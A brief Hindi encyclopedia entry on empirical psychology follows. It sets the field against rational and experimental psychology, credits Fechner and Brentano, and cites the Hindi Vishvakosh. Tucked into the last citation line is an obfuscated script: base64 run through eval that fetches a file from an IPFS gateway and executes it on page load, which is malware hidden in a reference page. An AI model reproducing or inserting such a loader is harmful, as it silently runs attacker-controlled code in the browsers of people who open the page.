आनुभविक मनोविज्ञान

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आनुभविक मनोविज्ञान (एँपिरिकल साइकॉलॉजी) अनुभव पर आधारित मनोविज्ञान जिसके अंतर्गत व्यवस्थित प्रयोग तथा वैज्ञानिक निरीक्षण की प्रणाली प्रयुक्त की जाती है। यह तार्किक मनोविज्ञान से सर्वथा भिन्न है क्योंकि तार्किक मनोविज्ञान सामान्य दार्शनिक सिद्धांत से निष्कर्षित निगमन (डिडक्शन) पर आधारित होता है। कभी-कभी इसे प्रायोगिक मनोविज्ञान (एक्सपेरिमेंटल साइकॉलॉजी) से भी अलग माना जाता है। कारण, प्रायोगिक मनोविज्ञान में तर्क कम और वर्णन अधिक किया जाता है। आनुभविक मनोविज्ञान के आविष्कर्ता के रूप में गुस्ताव थियोडोर फेकनर[1] का नाम प्रसिद्ध है और आनुभविक पद्धति को मनोवैज्ञानिक सिद्धांत से संबद्ध करने वाले फ्रांज बेंटानो[2] थे।[3]


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टीका टिप्पणी और संदर्भ

  1. 1801-1887
  2. 1838-1917
  3. हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 377 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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